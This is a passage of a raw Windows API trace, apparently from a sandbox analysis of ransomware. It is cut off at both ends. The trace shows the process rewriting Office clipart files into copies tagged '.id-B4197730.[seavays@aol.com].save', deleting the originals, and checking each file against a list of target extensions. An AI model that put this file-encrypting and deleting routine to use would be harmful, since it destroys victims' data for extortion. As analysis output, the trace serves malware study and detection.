dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0074.476] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00296_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0074.477] GetLastError () returned 0x0 [0074.477] ReadFile (in: hFile=0x38c, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x3df0, lpOverlapped=0x0) returned 1 [0074.479] WriteFile (in: hFile=0x368, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x3e00, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x3e00, lpOverlapped=0x0) returned 1 [0074.480] ReadFile (in: hFile=0x38c, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0074.480] WriteFile (in: hFile=0x368, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1 [0074.480] SetEndOfFile (hFile=0x368) returned 1 [0074.480] CloseHandle (hObject=0x368) returned 1 [0074.480] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0074.480] SetEndOfFile (hFile=0x38c) returned 1 [0074.482] CloseHandle (hObject=0x38c) returned 1 [0074.482] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0074.482] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00296_.wmf")) returned 1 [0074.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68 [0074.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68 [0074.482] lstrlenW (lpString=".doc") returned 4 [0074.482] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0074.482] lstrlenW (lpString=".docx") returned 5 [0074.482] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0074.482] lstrlenW (lpString=".pdf") returned 4 [0074.483] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0074.483] lstrlenW (lpString=".xls") returned 4 [0074.483] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0074.483] lstrlenW (lpString=".xlsx") returned 5 [0074.483] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0074.483] lstrlenW (lpString=".ppt") returned 4 [0074.483] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0074.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68 [0074.483] lstrlenW (lpString=".zip") returned 4 [0074.483] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0074.483] lstrlenW (lpString=".rar") returned 4 [0074.483] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0074.483] lstrlenW (lpString=".bz2") returned 4 [0074.483] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0074.483] lstrlenW (lpString=".7z") returned 3 [0074.483] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0074.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68 [0074.483] lstrlenW (lpString=".dbf") returned 4 [0074.483] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0074.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68 [0074.483] lstrlenW (lpString=".1cd") returned 4 [0074.483] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0074.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68 [0074.483] lstrlenW (lpString=".jpg") returned 4 [0074.483] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0074.486] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0074.486] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0074.486] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00382_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0074.486] GetLastError () returned 0x0 [0074.486] ReadFile (in: hFile=0x38c, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x20e8, lpOverlapped=0x0) returned 1 [0074.488] WriteFile (in: hFile=0x368, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x20f0, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x20f0, lpOverlapped=0x0) returned 1 [0074.489] ReadFile (in: hFile=0x38c, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0074.489] WriteFile (in: hFile=0x368, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1 [0074.489] SetEndOfFile (hFile=0x368) returned 1 [0074.489] CloseHandle (hObject=0x368) returned 1 [0074.489] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0074.489] SetEndOfFile (hFile=0x38c) returned 1 [0074.490] CloseHandle (hObject=0x38c) returned 1 [0074.490] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0074.490] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00382_.wmf")) returned 1 [0074.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 68 [0074.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 68 [0074.491] lstrlenW (lpString=".doc") returned 4 [0074.491] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0074.491] lstrlenW (lpString=".docx") returned 5 [0074.491] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0074.491] lstrlenW (lpString=".pdf") returned 4 [0074.491] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0074.491] lstrlenW (lpString=".xls") returned 4 [0074.491] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0074.491] lstrlenW (lpString=".xlsx") returned 5 [0074.491] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0074.491] lstrlenW (lpString=".ppt") returned 4 [0074.491] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0074.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 68 [0074.491] lstrlenW (lpString=".zip") returned 4 [0074.491] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0074.491] lstrlenW (lpString=".rar") returned 4 [0074.491] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0074.491] lstrlenW (lpString=".bz2") returned 4 [0074.491] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0074.491] lstrlenW (lpString=".7z") returned 3 [0074.491] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0074.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 68 [0074.491] lstrlenW (lpString=".dbf") returned 4 [0074.491] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0074.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 68 [0074.492] lstrlenW (lpString=".1cd") returned 4 [0074.492] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0074.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 68 [0074.492] lstrlenW (lpString=".jpg") returned 4 [0074.492] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0074.492] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0074.492] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0074.492] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00397_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0074.493] GetLastError () returned 0x0 [0074.493] ReadFile (in: hFile=0x38c, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x2a40, lpOverlapped=0x0) returned 1 [0074.494] WriteFile (in: hFile=0x368, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x2a50, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x2a50, lpOverlapped=0x0) returned 1 [0074.495] ReadFile (in: hFile=0x38c, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0074.495] WriteFile (in: hFile=0x368, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1 [0074.496] SetEndOfFile (hFile=0x368) returned 1 [0074.496] CloseHandle (hObject=0x368) returned 1 [0074.496] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0074.496] SetEndOfFile (hFile=0x38c) returned 1 [0074.533] CloseHandle (hObject=0x38c) returned 1 [0074.534] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0074.534] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00397_.wmf")) returned 1 [0074.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 68 [0074.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 68 [0074.534] lstrlenW (lpString=".doc") returned 4 [0074.534] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0074.534] lstrlenW (lpString=".docx") returned 5 [0074.534] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0074.535] lstrlenW (lpString=".pdf") returned 4 [0074.535] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0074.535] lstrlenW (lpString=".xls") returned 4 [0074.535] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0074.535] lstrlenW (lpString=".xlsx") returned 5 [0074.535] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0074.535] lstrlenW (lpString=".ppt") returned 4 [0074.535] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0074.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 68 [0074.535] lstrlenW (lpString=".zip") returned 4 [0074.535] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0074.535] lstrlenW (lpString=".rar") returned 4 [0074.535] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0074.535] lstrlenW (lpString=".bz2") returned 4 [0074.535] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0074.535] lstrlenW (lpString=".7z") returned 3 [0074.535] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0074.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 68 [0074.535] lstrlenW (lpString=".dbf") returned 4 [0074.535] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0074.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 68 [0074.535] lstrlenW (lpString=".1cd") returned 4 [0074.535] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0074.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 68 [0074.535] lstrlenW (lpString=".jpg") returned 4 [0074.535] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0074.536] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0074.536] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0074.536] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00403_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0074.536] GetLastError () returned 0x0 [0074.536] ReadFile (in: hFile=0x38c, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x1ec6, lpOverlapped=0x0) returned 1 [0074.538] WriteFile (in: hFile=0x368, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x1ed0, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x1ed0, lpOverlapped=0x0) returned 1 [0074.539] ReadFile (in: hFile=0x38c, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0074.539] WriteFile (in: hFile=0x368, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1 [0074.539] SetEndOfFile (hFile=0x368) returned 1 [0074.539] CloseHandle (hObject=0x368) returned 1 [0074.539] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0074.539] SetEndOfFile (hFile=0x38c) returned 1 [0074.540] CloseHandle (hObject=0x38c) returned 1 [0074.540] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0074.540] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00403_.wmf")) returned 1 [0074.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 68 [0074.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 68 [0074.541] lstrlenW (lpString=".doc") returned 4 [0074.541] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0074.541] lstrlenW (lpString=".docx") returned 5 [0074.541] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0074.541] lstrlenW (lpString=".pdf") returned 4 [0074.541] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0074.541] lstrlenW (lpString=".xls") returned 4 [0074.541] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0074.541] lstrlenW (lpString=".xlsx") returned 5 [0074.541] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0074.541] lstrlenW (lpString=".ppt") returned 4 [0074.541] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0074.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 68 [0074.541] lstrlenW (lpString=".zip") returned 4 [0074.541] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0074.541] lstrlenW (lpString=".rar") returned 4 [0074.541] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0074.541] lstrlenW (lpString=".bz2") returned 4 [0074.541] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0074.542] lstrlenW (lpString=".7z") returned 3 [0074.542] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0074.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 68 [0074.542] lstrlenW (lpString=".dbf") returned 4 [0074.542] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0074.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 68 [0074.542] lstrlenW (lpString=".1cd") returned 4 [0074.542] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0074.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 68 [0074.542] lstrlenW (lpString=".jpg") returned 4 [0074.542] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0074.543] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0074.543] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0074.543] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00414_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0074.544] GetLastError () returned 0x0 [0074.544] ReadFile (in: hFile=0x38c, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x2afa, lpOverlapped=0x0) returned 1 [0074.545] WriteFile (in: hFile=0x368, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x2b00, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x2b00, lpOverlapped=0x0) returned 1 [0074.546] ReadFile (in: hFile=0x38c, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0074.546] WriteFile (in: hFile=0x368, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1 [0074.547] SetEndOfFile (hFile=0x368) returned 1 [0074.547] CloseHandle (hObject=0x368) returned 1 [0074.547] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0074.547] SetEndOfFile (hFile=0x38c) returned 1 [0074.548] CloseHandle (hObject=0x38c) returned 1 [0074.548] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0074.548] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00414_.wmf")) returned 1 [0074.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 68 [0074.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 68 [0074.548] lstrlenW (lpString=".doc") returned 4 [0074.548] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0074.548] lstrlenW (lpString=".docx") returned 5 [0074.548] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0074.549] lstrlenW (lpString=".pdf") returned 4 [0074.549] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0074.549] lstrlenW (lpString=".xls") returned 4 [0074.549] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0074.549] lstrlenW (lpString=".xlsx") returned 5 [0074.549] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0074.549] lstrlenW (lpString=".ppt") returned 4 [0074.549] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0074.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 68 [0074.549] lstrlenW (lpString=".zip") returned 4 [0074.549] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0074.549] lstrlenW (lpString=".rar") returned 4 [0074.549] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0074.549] lstrlenW (lpString=".bz2") returned 4 [0074.549] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0074.549] lstrlenW (lpString=".7z") returned 3 [0074.549] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0074.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 68 [0074.549] lstrlenW (lpString=".dbf") returned 4 [0074.549] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0074.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 68 [0074.549] lstrlenW (lpString=".1cd") returned 4 [0074.549] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0074.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 68 [0074.549] lstrlenW (lpString=".jpg") returned 4 [0074.549] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0074.550] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0074.550] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0074.550] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00419_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0074.550] GetLastError () returned 0x0 [0074.550] ReadFile (in: hFile=0x38c, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x400c, lpOverlapped=0x0) returned 1 [0074.795] WriteFile (in: hFile=0x368, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x4010, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x4010, lpOverlapped=0x0) returned 1 [0075.036] ReadFile (in: hFile=0x38c, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0075.036] WriteFile (in: hFile=0x368, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1 [0075.036] SetEndOfFile (hFile=0x368) returned 1 [0075.037] CloseHandle (hObject=0x368) returned 1 [0075.037] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0075.037] SetEndOfFile (hFile=0x38c) returned 1 [0075.038] CloseHandle (hObject=0x38c) returned 1 [0075.038] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0075.038] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF" (normalized: "c:\\program files\\microsoft 